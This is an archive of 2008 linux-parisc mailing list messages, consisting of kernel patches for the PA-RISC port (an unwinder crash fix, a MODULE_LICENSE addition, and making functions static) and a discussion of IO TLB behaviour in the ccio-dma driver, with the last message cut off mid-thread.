Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752247AbYHFTl1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Aug 2008 15:41:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757209AbYHFTl1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Aug 2008 15:41:27 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:38280 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752247AbYHFTl0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Aug 2008 15:41:26 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id D8E9E178062; Wed,  6 Aug 2008 15:41:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1e3eba760808030726l93f60dftdcec0c487933129b@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/593>

On Sun, Aug 03, 2008 at 07:26:48AM -0700, Randolph Chung wrote:
> (Apologize for my earlier html mail - resent in a more proper format)
> 
> Helge, your patch doesn't look quite right.
> 
> The kernel unwinder is only supposed to be called for kernel
> addresses. Kyle says he thinks he knows what is wrong so he's going to
> poke at it.
> 
> Maybe we can make the kernel unwinder more robust against invalid
> addresses passed to it though.
> 

I think this will fix the problem, though I should audit show_stack
callers to make sure.

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 675f1d0..721d281 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -121,11 +121,12 @@ static void print_fr(char *level, struct pt_regs *regs)
 
 void show_regs(struct pt_regs *regs)
 {
-	int i;
+	int i, user;
 	char *level;
 	unsigned long cr30, cr31;
 
-	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
+	user = !!user_mode(regs);
+	level = user ? KERN_DEBUG : KERN_CRIT;
 
 	print_gr(level, regs);
 
@@ -152,7 +153,8 @@ void show_regs(struct pt_regs *regs)
 	printk(level);
 	print_symbol(" RP(r2): %s\n", regs->gr[2]);
 
-	parisc_show_stack(current, NULL, regs);
+	if (!user)
+		parisc_show_stack(current, NULL, regs);
 }
 
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Thu, 7 Aug 2008 00:11:55 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20080806211155.GV1702@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218057229 15953 80.91.229.12 (6 Aug 2008 21:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 21:13:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 23:14:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQqL8-0005U1-Sj
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 23:14:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760223AbYHFVN0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Aug 2008 17:13:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760209AbYHFVN0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Aug 2008 17:13:26 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:50301 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1422811AbYHFVNY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Aug 2008 17:13:24 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id 5D33C5BC021;
	Thu,  7 Aug 2008 00:13:23 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:594 gmane.linux.kernel:717750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/594>

This patch adds the missing MODULE_LICENSE("GPL").

Reported-by: Adrian Bunk <bunk@kernel.org>
Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

This patch has been sent on:
- 15 Jun 2008

4cec562181f818f16f072b9a14ca7a0ce6c66417 diff --git a/fs/binfmt_som.c b/fs/binfmt_som.c
index fdc36bf..6d3bebb 100644
--- a/fs/binfmt_som.c
+++ b/fs/binfmt_som.c
@@ -308,3 +308,5 @@ static void __exit exit_som_binfmt(void)
 
 core_initcall(init_som_binfmt);
 module_exit(exit_som_binfmt);
+
+MODULE_LICENSE("GPL");
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] drivers/parisc/: make code static
Date: Thu, 7 Aug 2008 00:12:02 +0300
Lines: 181
Approved: news@gmane.org
Message-ID: <20080806211202.GX1702@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218057233 15969 80.91.229.12 (6 Aug 2008 21:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 21:13:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 23:14:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQqLA-0005U1-Ey
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 23:14:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1422851AbYHFVNd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Aug 2008 17:13:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1422841AbYHFVNd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Aug 2008 17:13:33 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:47686 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1422814AbYHFVNb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Aug 2008 17:13:31 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id 0ABD75BC00F;
	Thu,  7 Aug 2008 00:13:30 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:595 gmane.linux.kernel:717752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/595>

This patch makes the following needlessly global code static:
- asp.c: asp_init_chip()
- ccio-dma.c: ccio_io_pdir_entry()
- dino.c: struct dino_port_ops
- dino.c: struct dino_bios_ops
- hppb.c: struct hppb_card_head
- lasi.c: lasi_led_init()
- lasi.c: lasi_init_chip()
- lba_pci.c: struct lba_bios_ops
- sba_iommu.c: sba_io_pdir_entry()
- sba_iommu.c: sba_driver_callback()
- sba_iommu.c: sba_driver_callback()
- wax.c: wax_init_chip()

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

This patch has been sent on:
- 15 Jun 2008

 drivers/parisc/asp.c       |    3 +--
 drivers/parisc/ccio-dma.c  |    2 +-
 drivers/parisc/dino.c      |    4 ++--
 drivers/parisc/hppb.c      |    2 +-
 drivers/parisc/lasi.c      |    5 ++---
 drivers/parisc/lba_pci.c   |    2 +-
 drivers/parisc/sba_iommu.c |    7 +++----
 drivers/parisc/wax.c       |    3 +--
 8 files changed, 12 insertions(+), 16 deletions(-)

78e10083d054032afa9979cae16c10d54d366855 diff --git a/drivers/parisc/asp.c b/drivers/parisc/asp.c
index 8213691..7931133 100644
--- a/drivers/parisc/asp.c
+++ b/drivers/parisc/asp.c
@@ -71,8 +71,7 @@ static void asp_choose_irq(struct parisc_device *dev, void *ctrl)
  */
 #define ASP_INTERRUPT_ADDR 0xf0800000
 
-int __init
-asp_init_chip(struct parisc_device *dev)
+static int __init asp_init_chip(struct parisc_device *dev)
 {
 	struct gsc_irq gsc_irq;
 	int ret;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index b30e38f..898f69e 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -564,7 +564,7 @@ static u32 hint_lookup[] = {
  * (Load Coherence Index) instruction.  The 8 bits used for the virtual
  * index are bits 12:19 of the value returned by LCI.
  */ 
-void CCIO_INLINE
+static void CCIO_INLINE
 ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		   unsigned long hints)
 {
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index fd56128..ada21b0 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -287,7 +287,7 @@ DINO_PORT_OUT(b,  8, 3)
 DINO_PORT_OUT(w, 16, 2)
 DINO_PORT_OUT(l, 32, 0)
 
-struct pci_port_ops dino_port_ops = {
+static struct pci_port_ops dino_port_ops = {
 	.inb	= dino_in8,
 	.inw	= dino_in16,
 	.inl	= dino_in32,
@@ -688,7 +688,7 @@ dino_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops dino_bios_ops = {
+static struct pci_bios_ops dino_bios_ops = {
 	.init		= dino_bios_init,
 	.fixup_bus	= dino_fixup_bus
 };
diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index 65eee67..1385641 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -29,7 +29,7 @@ struct hppb_card {
 	struct hppb_card *next;
 };
 
-struct hppb_card hppb_card_head = {
+static struct hppb_card hppb_card_head = {
 	.hpa = 0,
 	.next = NULL,
 };
diff --git a/drivers/parisc/lasi.c b/drivers/parisc/lasi.c
index bee5100..e65727c 100644
--- a/drivers/parisc/lasi.c
+++ b/drivers/parisc/lasi.c
@@ -107,7 +107,7 @@ lasi_init_irq(struct gsc_asic *this_lasi)
 
 #else
 
-void __init lasi_led_init(unsigned long lasi_hpa)
+static void __init lasi_led_init(unsigned long lasi_hpa)
 {
 	unsigned long datareg;
 
@@ -163,8 +163,7 @@ static void lasi_power_off(void)
 	gsc_writel(0x02, datareg);
 }
 
-int __init
-lasi_init_chip(struct parisc_device *dev)
+static int __init lasi_init_chip(struct parisc_device *dev)
 {
 	extern void (*chassis_power_off)(void);
 	struct gsc_asic *lasi;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index a28c894..d8233de 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -824,7 +824,7 @@ lba_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops lba_bios_ops = {
+static struct pci_bios_ops lba_bios_ops = {
 	.init =		lba_bios_init,
 	.fixup_bus =	lba_fixup_bus,
 };
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index bc73b96..34763e2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -561,7 +561,7 @@ typedef unsigned long space_t;
  * IOMMU uses little endian for the pdir.
  */
 
-void SBA_INLINE
+static void SBA_INLINE
 sba_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		  unsigned long hint)
 {
@@ -1874,7 +1874,7 @@ static struct parisc_device_id sba_tbl[] = {
 	{ 0, }
 };
 
-int sba_driver_callback(struct parisc_device *);
+static int sba_driver_callback(struct parisc_device *);
 
 static struct parisc_driver sba_driver = {
 	.name =		MODULE_NAME,
@@ -1887,8 +1887,7 @@ static struct parisc_driver sba_driver = {
 ** If so, initialize the chip and tell other partners in crime they
 ** have work to do.
 */
-int
-sba_driver_callback(struct parisc_device *dev)
+static int sba_driver_callback(struct parisc_device *dev)
 {
 	struct sba_device *sba_dev;
 	u32 func_class;
diff --git a/drivers/parisc/wax.c b/drivers/parisc/wax.c
index 892a83b..da9d5ad 100644
--- a/drivers/parisc/wax.c
+++ b/drivers/parisc/wax.c
@@ -68,8 +68,7 @@ wax_init_irq(struct gsc_asic *wax)
 //	gsc_writel(0xFFFFFFFF, base+0x2000); /* RS232-B on Wax */
 }
 
-int __init
-wax_init_chip(struct parisc_device *dev)
+static int __init wax_init_chip(struct parisc_device *dev)
 {
 	struct gsc_asic *wax;
 	struct parisc_device *parent;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] parisc/lib/: make code static
Date: Thu, 7 Aug 2008 00:11:59 +0300
Lines: 47
Approved: news@gmane.org
Message-ID: <20080806211159.GW1702@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218057238 15985 80.91.229.12 (6 Aug 2008 21:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 21:13:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 23:14:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQqL9-0005U1-Li
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 23:14:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761078AbYHFVNa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Aug 2008 17:13:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758809AbYHFVN3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Aug 2008 17:13:29 -0400
Original-Received: from smtp4.pp.htv.fi ([213.243.153.38]:59677 "EHLO smtp4.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760844AbYHFVN2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Aug 2008 17:13:28 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp4.pp.htv.fi (Postfix) with ESMTP id E1E875BC00B;
	Thu,  7 Aug 2008 00:13:26 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:596 gmane.linux.kernel:717754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/596>

This patch makes the following needlessly global code static:
- iomap.c: struct iomap_ops[]
- memcpy.c: pa_memcpy()

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

This patch has been sent on:
- 15 Jun 2008

 arch/parisc/lib/iomap.c  |    2 +-
 arch/parisc/lib/memcpy.c |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

45e7cd0b2c678dda4f5ba4ac6d0ed628df9381bd diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index 9abed07..5069e8b 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -261,7 +261,7 @@ static const struct iomap_ops iomem_ops = {
 	iomem_write32r,
 };
 
-const struct iomap_ops *iomap_ops[8] = {
+static const struct iomap_ops *iomap_ops[8] = {
 	[0] = &ioport_ops,
 	[7] = &iomem_ops
 };
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 2d68431..bbda909 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -275,7 +275,7 @@ handle_store_error:
 
 
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
 {
 	register unsigned long src, dst, t1, t2, t3;
 	register unsigned char *pcs, *pcd;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix unwind crash - was: Re: 2.6.26 kernel crash
Date: Wed, 6 Aug 2008 21:48:23 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <119aab440808061848o21cae9aew82b949067bdec4df@mail.gmail.com>
References: <200807201846.11809.deller@gmx.de>
	 <200807201907.59762.deller@gmx.de> <488F7E32.4070204@gmx.de>
	 <1e3eba760808030726l93f60dftdcec0c487933129b@mail.gmail.com>
	 <20080806194125.GA3281@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218073718 25820 80.91.229.12 (7 Aug 2008 01:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Aug 2008 01:48:38 +0000 (UTC)
Cc: "Randolph Chung" <randolph@tausq.org>,
	"Helge Deller" <deller@gmx.de>, linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 07 03:49:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQud1-00033u-Ue
	for glpp-linux-parisc@gmane.org; Thu, 07 Aug 2008 03:49:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752450AbYHGBs0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Aug 2008 21:48:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752710AbYHGBs0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Aug 2008 21:48:26 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.239]:48639 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752450AbYHGBsZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Aug 2008 21:48:25 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so183945wri.5
        for <linux-parisc@vger.kernel.org>; Wed, 06 Aug 2008 18:48:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=3KBI+N1mzM3HEMp4CmkVPGKLpAgYXoP6w1s3mjhMqMI=;
        b=eVgIoFh4xvWxFzDQMic+ZyJUnb+BFY0MZQRuzIY4diGYFW5cR8VG+1R9pAW0gq+SXa
         61NGUiazfZTDpC+8x1xzCSLhSrdDCP+1inCNjJ9D6Ce5+F1uUqP69MlBDRiHIgAzjJcg
         M6Ao1hEvj9hqsChvaCSfqTHSU1rVwEGD708zs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=J6Ta7+0iBy6VQ288v9HGVBwfMf7sK3vHQ7ccppelRB/2l6QoqOiJ9V9USxf791n0Sh
         +UWr4Z+62Opq+gUhb/bIEfhmZxTEGM2cwh/RQNOz8xDlEEM559vbkriI9tnCzlg1GxbQ
         5YpvEgkMu/JdhtbyUTQwPQPsfy7fIwzojuOtY=
Original-Received: by 10.90.29.13 with SMTP id c13mr4103280agc.92.1218073703681;
        Wed, 06 Aug 2008 18:48:23 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Wed, 6 Aug 2008 18:48:23 -0700 (PDT)
In-Reply-To: <20080806194125.GA3281@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: d6cb197dbc685099
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/597>

On Wed, Aug 6, 2008 at 3:41 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> +       user = !!user_mode(regs);

Exqueeze me? Baking powder? Why can't the compiler just mush all of
this up and get back the same thing you had before?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio-dma: is issue could be related to too much io_tlb entries?
Date: Thu,  7 Aug 2008 08:54:02 +0100
Lines: 231
Approved: news@gmane.org
Message-ID: <K580M2$AC089974BA401B2D6711347E41C95F6E@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1218095692 9465 80.91.229.12 (7 Aug 2008 07:54:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Aug 2008 07:54:52 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>, "kyle" <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 07 09:55:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KR0LM-0002TM-Pr
	for glpp-linux-parisc@gmane.org; Thu, 07 Aug 2008 09:55:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754605AbYHGHyY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Aug 2008 03:54:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754730AbYHGHyY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Aug 2008 03:54:24 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:39990 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754605AbYHGHyV convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Aug 2008 03:54:21 -0400
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m777s22A011393;
	Thu, 7 Aug 2008 09:54:03 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC--Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/598>

> On Tue, Aug 05, 2008 at 03:21:32PM +0100, Joel Soete wrote:
> > > On Thu, Jul 24, 2008 at 02:13:55PM +0100, Joel Soete wrote:
> > > > Hello Grant, Kyle, et al.,
> > > >
> > > > Iirc the number of io_tlb enties on this u2/uturn ioa is of 256?
> > >
> > > ISTR that u2 and uturn have different number of IO TLB entries.
> > > But I don't recall how many exactly. Need the ERSs to look that up.
> > >
> > Well, I don't yet find the right way to get access, sorry.
> > 
> > > > Because issue occur only when I do a lot of I/O on scsi disk (sometime
request
> > > > of mapping reach 128 pages), the idea was that it could induce some
exceed of
> > > > iotlb entries.
> > > >
> > [snip]
> > >
> > > The number of "used" entries include "in flight" DMA and pci_consistent
> > allocations. This generally isn't that many pages of RAM.
> > >
> > Ok,
> > But the idea was that if so much pdir entries was mapped in a so short time
> > (1s), it should be also that the device will try to use them on the fly (just
> > an hypothesis.)
> > And so far as I can observe, the pb occurs when os operate on numerous huge
> > data blocks (i.e. a tar -xvf of a linux tree into a single fs); so in this
> > case it should be that the i/o device trigger many i/o tlb miss and may be
> > much more i/o tlb entries then it can be freed?
> 
> Yes, that's certainly possible. 
> But it's not the only behavior triggered by lots of in-flight IO traffic.
> 
Ok 
(that's just the simplest way I found to reproduce the day to day issue I
encounter when I do an update of my system: this is not during the download of
pkg but during 'Unpacking' step and that already broken my fs ;_()

> 
> > What I observe also is that the pb become worse either with a system with few
> > ram (like my c110 with 64M) or when I resurrect CCIO_MEM_RATIO (e.g. 2 or 4)
> > on a system with 256Mb of RAM). In those last 2 cases the effect is the same:
> >   a/ it makes the pdir_size and the number of pdir entries smaller
> 
> Yes.
> 
> >   b/ as well for chainid_shift.
> 
> I've forgotten exactly the role of the chainid...I'd have to study
> the code again.
>
no pb
 
> 
> > This last point (b/) make me thought that it would also make smaller the
> > number of 4k-byte per chainid and so for a same DMA block size it would
> > required more iotlb entries.
> 
> No. The number of IO TLB entries (192 or something like that) and IO MMU
> page size (4k) are both fixed.
> Both are also completely unrelated to the size of the IO Pdir.
> 
Totaly agree.
But I wrongly explain my idea, my understanding was that chainid_shift allow
to compute a chainid_mask to setup the U2 (in my case) iommu.
After my reading of hp paper: "Hardware Cache Coherent Input/Output", I
supposed (that's certainly where I am wrong) that this chainid_mask was a hint
to instruct iommu the max size of an I/O data block (e.g. for the d380 with
256Mb I got chainid_shift = 19 [18 with ccio_mem_ratio = 2] and so chain_size
= 2 ^ 19 = 128 * 4k pages (at least that's only what clear_io_tlb() does)). So
for a big data block of 128*4k pages (I realy read such request of mapping)
